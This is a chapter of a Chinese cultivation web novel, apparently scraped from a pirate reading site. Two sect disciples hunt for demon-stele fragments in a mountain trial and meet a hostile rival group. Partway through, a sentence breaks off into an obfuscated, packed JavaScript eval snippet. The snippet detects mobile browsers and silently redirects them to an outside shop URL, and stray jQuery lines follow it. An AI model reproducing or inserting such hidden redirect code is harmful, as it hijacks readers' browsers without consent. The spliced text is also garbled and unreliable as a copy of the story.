文趣网 > 其他小说 > 我死后正道之光黑化了 > 22.界山试炼(1)
    “……我的队友,怎么会是你?”

    看着眼前人不可置信的眼神,应妄淡声道:“随机分的,没什么不可能。”

    那人瞠目结舌,脸色霎时青一阵白一阵。

    应妄挑了挑眉:“既然分到一起了,那我们还要同行很久。这一路,还请多多关照,”

    “……薛师兄。”

    他语气淡淡地唤了他一声,随后难得主动向人伸出了手。

    ——薛志泽僵着脸,犹豫了片刻后,极为不情愿地与他握了握。

    应妄不置可否地一笑,松开了。

    薛志泽看着应妄那张波澜不惊的脸,心里愈发堵得慌。

    ——第二轮那场剑术比试,他输得不明不白。

    应妄分明是个没有灵力的废物,连引气入体都没能做到。

    可自己就是输了。

    还输在众目睽睽之下。

    ……脖子上的那道伤口,现在都还未曾好全。

    薛志泽咬了咬牙,心里难受得要命。

    偏偏这个时候应妄乌沉沉的眸子朝他看了过来:“薛师兄,我们可以出发了吗?”

    ……界山这么大,这两日的试炼里会发生什么,谁也不知道。

    薛志泽扯开嘴角,笑了笑:“……当然。走吧。”

    两人一前一后,朝界山入口走去。

    入口处不见路,只有两株老松斜斜地长在一起。他们绕过老树,往深探了进去。

    层层叠叠的枝叶,把天切割成无数碎片。光从缝隙里漏下来,细小尘埃在光照下缓慢浮动。

    两人一路沉默,薛志泽硬着头皮先开口道:“第三轮要求两人……一共找到三块镇魔碑的碎片,”

    他顿了顿,怀了些期待道:“你师尊……有没有给你透露些什么?比如碎片长什么样之类的?”

    应妄似笑非笑地看了他一眼。

    ……界山是守护着四方境的天然屏障,作为护山大阵中重要的一环,其中有十八尊镇魔碑分设在各处,共同支撑起护山大阵。

    但前不久有一块镇魔碑莫名碎裂了,数块碎片分散在了山中。

    ——在界山中找到三块碎片,这便是他们第三轮比试的内容了。

    “没有。”

    薛志泽撇了撇嘴,嘟囔道:“……亏你还是亲传弟子,这点特权都没有。”

    ……有啊。

    这不是用来和你组队了么。

    应妄淡淡扫了他一眼,没做声,接着向前走了。

    薛志泽自讨了个没趣,也没再吭声,默默跟了上去。

    ……界山的雾气,比想象中还要浓。

    应妄看着参天古木停了步,皱着眉朝左边望了望。

    只这一眼,他脑中却突然警铃一响,下意识地侧身躲了躲。

    ——身后突然传来破空声!

    应妄袖中的竹叶已悄然夹在指缝间。他眼眸一眯,看着身后举起长剑的薛志泽,正要动手的时候——

    薛志泽的剑,狠狠劈在了他长靴旁,一厘的位置。

    “嘶——!”

    应妄瞳孔微微一缩,看着薛志泽的剑,插在了他脚边一只毒蛇的咽喉上。

    应妄不动声色地松了口气,指尖向内藏了藏。

    “……真是娇生惯养的内门弟子,”薛志泽嘲讽了一句,剑尖在蛇身上点了点,“没一点用处。”

    应妄没去驳他的话。薛志泽冷哼了一声,将剑从蛇身上抽了出来。

    “走吧,”出了这一手后,他似是终于给自己找回了面子,说话行事都有底气了许多,“自己注意些,别拖我后腿。”

    他将长剑入鞘,跃过蛇身,接着向前走。

    只是还没走两步,应妄骤然沉下来的声音在他身后响起:“——别动!”

    薛志泽皱了皱眉:“你……”

    ——突然,小腿腹传来的冰冷触感使他浑身一僵。

    “什……什么东西?”

    有东西……缠在他的腿上!

    薛志泽脸色霎白,身体不住战栗着。他屏住呼吸,斗胆向下看了一眼——

    那只明明已经被他杀死了的毒蛇,不知什么时候缠上了他的小腿,血肉模糊的脑袋还在朝他吐着蛇信!

    在他瞳孔骤然放大的那一瞬间,那条蛇张开大口,就要朝着面前的血肉咬下去!

    薛志泽发出一声凄厉惨叫:“——啊!”

    “……噗呲!”

    血肉绽开的声音让他心中一惊,随即哆嗦着看了下去。

    ——应妄手中拿着从他腰间抽出的长剑,眼疾手快地挑开了蛇身血肉,将深埋在其中,约有指甲盖大小的一块硬物挖了出来。

    随着那块硬物脱身,那蛇身子一抖,彻底死掉了。

    薛志泽捂着鲜血汩汩的小腿肚,跌坐在地,痛到五官微微扭曲了起来。

    ——伤口四周立马泛起乌青,明显带有剧毒。

    应妄皱了皱眉,将长剑扔到一边,从怀里掏出了颗药瓶:“吃了。”

    薛志泽还来不及哀嚎出声,手里便被塞了颗药丸。

    ——将死的恐惧,让他想也没想就吃下了。

    此药见效极快,伤口四周蔓延的乌青出现了明显的凝滞,连渐冷的身体也逐渐缓了过来。

    薛志泽白着脸僵在原地,直到看见伤口彻底止了血,他才后知后觉地松了口气。

    那药的淡淡清香在他鼻尖萦绕不去,他这才反应过来——

    能有这般药效,难道应妄给他喂下的……是凝元丹?

    价值上千灵石一颗的……凝元丹?

    薛志泽仰头看向眼前的应妄,神色极其复杂。

    ……他在外门出过的任务多,遇见的凶险时刻数不胜数。

    可无论伤得多么重,他向来都只用得起最低等的灵药。执事堂偶尔下发的药品,也不过中下品质。能救命,却缓不了多少痛。

    这等品质的凝元丹,应妄想也没想便拿来给他吃了。

    ……他在想什么?!

    薛志泽一时间竟有些难以形容自己心里的感受。

    有震惊,有难堪,有庆幸……

    但更多的居然是……

    不甘。

    他兀自沉默地站起了身,没有去接应妄递过来的手,低低道了声谢。

    应妄顿了顿,也没说什么便收回了手。随即,他指了一下地上的长剑。

    剑锋处沾着那个刚刚被他挑出来的硬块。

    他语气平静:“这个应该就是镇魔碑的碎片了。”

    薛志泽一怔,将那硬块拈了起来。简单擦拭后,一块泛着暗光的暗红色石块映入眼帘。

    这就是……镇魔碑碎片。

    他们竟然这么快就找到了一块。

    薛志泽摩挲着指尖那块小小的碎片,还有些没反应过来。

    “这块碎片就由薛师兄拿着吧。”应妄站在原地看了他一眼,“我没修为,只怕护不住。”

    薛志泽无言片刻,也没推辞,放在怀中收好了。

    他收好长剑,两人沉默着向前走去。

    界山极大,地形也极为复杂。走了约莫一个时辰后,周边的雾色再度浓重起来。

    ——突然,应妄感觉到,有人似乎在跟着他们。

    又走了半柱香功夫,他猛地停了步,向身后冷声道:“出来。”

    薛志泽的手轻轻放在了剑鞘上,眉眼微冷。

    ——灌木丛后,传来一阵窸窣声。

    有三个人走了出来。

    为首的那人身形魁梧,应妄不太熟悉。但薛志泽见到他后,明显一怔。

    薛志泽目光略沉:“……怎么是你,陈居。”

    应妄看到了陈居腰侧的长剑。

    ——看来,是执事堂的人了。

    “这位师兄,”应妄淡声道,“我记得……第三轮的规则好像是两人组队同行,”

    他的目光直直看向陈居身后的两人:“怎么,是哪位同门的队友……出了什

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376518|199233||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    么事吗?”

    站在中间的陈居轻笑了一声道:“你倒是敏锐。不过也没什么,松三的队友是个废物,没什么用。所以,他就来投奔我了。”

    唤做松三的是站在他左侧的那人。闻言他挑了挑飞扬的眉毛,冷哼了一声。

    反倒是陈居右手边的那个弟子,脸都埋在了阴影之下,看起来畏畏缩缩的,似是有些惶恐。

    ……看来,他才是陈居原本被分到的队友。

    “说到废物……”陈居轻笑了一声,轻佻地扬了扬下巴,“志泽,你队伍里也有个废物啊。”

    应妄眉眼稍冷,极轻地皱了皱眉。

    “等等,”陈居恍然道,“……这个废物,好像在第二轮赢过了你啊。”

    薛志泽面容明显地一僵,呼吸骤然变沉。

    陈居轻飘飘地走近,拍了拍薛志泽的肩膀:“……原来废物另有其人。倒是我眼拙了。”

    他意味深长的尾音使薛志泽的身体猛地绷紧了。他抬起眼,极为克制地盯着眼前的陈居,指尖倏然握紧。

    “——说完了吗?”

    应妄带了些寒意的声音在薛志泽耳侧响起。

    薛志泽猛地回神,颓然放松了身体。

    应妄将他这微小的变化尽收眼底,于是拽了一把薛志泽的肩膀:“说完走了。”

    他垂下眼,沉默地跟着应妄转身了。

    见两人没被激怒,陈居眯了眯眼,倒也没有追上去。

    直到快要看不见两人的身影,他才冷冷看向自己右侧的那个弟子:“看出来什么没有?”

    突然被点了名,他缩了缩脖子,恨不得将脸埋在了脖颈下:“……没,没有。”

    “没有是什么意思!”陈居不耐道,“是他们身上没有镇魔碑碎片,还是你什么都没看出来!”

    那弟子似是被他吓到了,抖了半晌才道:“……他们身上,没有。”

    陈居狐疑地看了他一眼,但最终还是没说什么。

    “陈哥,我看他们也不像能找到碎片的样子,”松三在一旁开口道,“咱们再去找别的就是了。”

    ……也是。

    陈居下意识地看了眼自己怀中的碎片,随即轻嗤了一声:“……废物就是废物。”

    “走吧,我们再去找。”

    只是他们刚走了没几步,却发现那唯唯诺诺的小弟子没跟上来。

    “喂,崇钰,你发什么呆?”陈居呵斥道,“……接下来往哪里走?”

    崇钰回神,眼眸轻眨了一下。扬起脸的瞬间,有一抹阳光洒在了他右脸上。

    一道从颧骨纵横至下颌的伤疤清晰可见。

    见陈居有了些不耐,他慌慌张张地指了个方向:“……那边。”

    -

    与此同时,界山深处。

    元容持剑而立,脚下躺着几具妖兽的尸体。

    他身后,一名西缘峰的弟子正瑟瑟发抖。

    “元、元师兄……我们还要往里走吗?天快要黑了……”

    元容没有回答。

    他摩挲了一下腰侧的传讯玉,眸色微深。

    ——从进山到现在,应妄一次都没有联系过他。

    “兄长,”不远处的林间传来元孟的声音,她身侧还跟着一个小心翼翼的女弟子,“今天不能再往前走了吧。”

    元容转身,沉默了片刻,颔首道:“先在这里歇息一会吧。”

    另外两个弟子如释重负,靠着树根坐了下来。

    元孟拉着元容走到一旁,小声问道:“小妄哥哥有消息吗?”

    见元容没有答话,元孟心里已有了答案。

    “小妄哥哥行事,肯定是有他的道理的,”元孟轻声道,“兄长也无需太过担忧。”

    元容浅浅露出一抹未达眼底的笑意:“嗯。去休息吧。”

    元孟点了点头。只是她刚要转身,却突然听到元容似叹息般,轻声低语道:“——最迟明早前,”

    “我会找到他。”